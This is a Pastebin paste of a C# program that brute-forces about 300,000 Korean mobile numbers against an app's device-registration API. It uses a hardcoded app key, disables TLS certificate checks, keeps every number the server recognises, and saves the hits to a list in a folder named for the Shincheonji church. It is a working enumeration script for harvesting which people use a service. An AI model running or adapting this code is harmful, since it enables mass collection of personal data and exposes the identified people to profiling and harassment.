Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Net.Security;
- using System.Reflection;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using Newtonsoft.Json;
- using Newtonsoft.Json.Linq;
- namespace myposttestproject
- {
- class Program
- {
- static StringBuilder phonenumbers = new StringBuilder();
- static string url = @"https://genesis-mp3-api.ziongroup.net/spr.egov.mp3/registDevice.do";
- static void Main(string[] args)
- {
- GatherTaskAsync(ThrowPost());
- File.WriteAllText(@"C:\Users\Poin7Less\Documents\신천지\list.txt", phonenumbers.ToString());
- Console.ReadLine();
- }
- static List<(Task<string>, string)> ThrowPost()
- {
- string fullmsg;
- string phonenumber;
- List<(Task<string> tesk, string pn)> dataset = new List<(Task<string>, string)>();
- int i = 0;
- for (int front = 5020; front < 5050; front++)
- {
- for (int last = 0; last < 10000; last++)
- {
- phonenumber = string.Format("010" + front.ToString("D4") + last.ToString("D4"));
- fullmsg = @"app_key=903bc2bd3bb61e1079a808bac557fd7e&pcs=" + phonenumber + @"&did=f07a13984f6d116a";
- var tesk1 = Task.Run(() => GetHttpPOST(fullmsg));
- dataset.Add((tesk1, phonenumber));
- i++;
- //Console.WriteLine("전송중 : "+phonenumber);
- if(i%100 == 0)
- {
- Console.WriteLine("100개 전송함 : " + phonenumber);
- }
- }
- }
- return dataset;
- }
- static async void GatherTaskAsync(List<(Task<string>, string)> dataset)
- {
- int i = 0;
- foreach((Task<string> tesk, string pn) data in dataset)
- {
- string getmassage = await data.tesk;
- var json = JObject.Parse(getmassage);
- string value = json.Value<string>("result");
- if (value != "not exist")
- {
- Console.WriteLine(data.pn);
- phonenumbers.Append(data.pn);
- }
- i++;
- if (i % 100 == 0)
- {
- Console.WriteLine("100개 넘어감 : " + data.pn);
- }
- }
- }
- public static string GetHttpPOST(string postMsg)
- {
- string retValue = string.Empty;
- if (url.IndexOf("https://") >= 0)
- {
- ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
- }
- try
- {
- HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
- httpWebRequest.Method = "POST";
- Stream requestStream = null;
- byte[] sendData = null;
- if (postMsg != null)
- {
- postMsg = postMsg.Substring(0, postMsg.Length - 1);
- sendData = UTF8Encoding.UTF8.GetBytes(postMsg);
- httpWebRequest.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
- httpWebRequest.ContentLength = sendData.Length;
- requestStream = httpWebRequest.GetRequestStream();
- requestStream.Write(sendData, 0, sendData.Length);
- }
- else
- {
- httpWebRequest.ContentLength = 0;
- requestStream = httpWebRequest.GetRequestStream();
- }
- requestStream.Flush();
- requestStream.Close();
- HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
- httpWebRequest.GetResponse();
- StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
- retValue = streamReader.ReadToEnd();
- streamReader.Close();
- httpWebResponse.Close();
- }
- catch (WebException ex)
- {
- if (ex.Response is HttpWebResponse)
- {
- retValue = ex.Message;
- }
- else
- {
- retValue = ex.Message;
- }
- }
- return retValue;
- }
- }
- }
Add Comment
Please, Sign In to add comment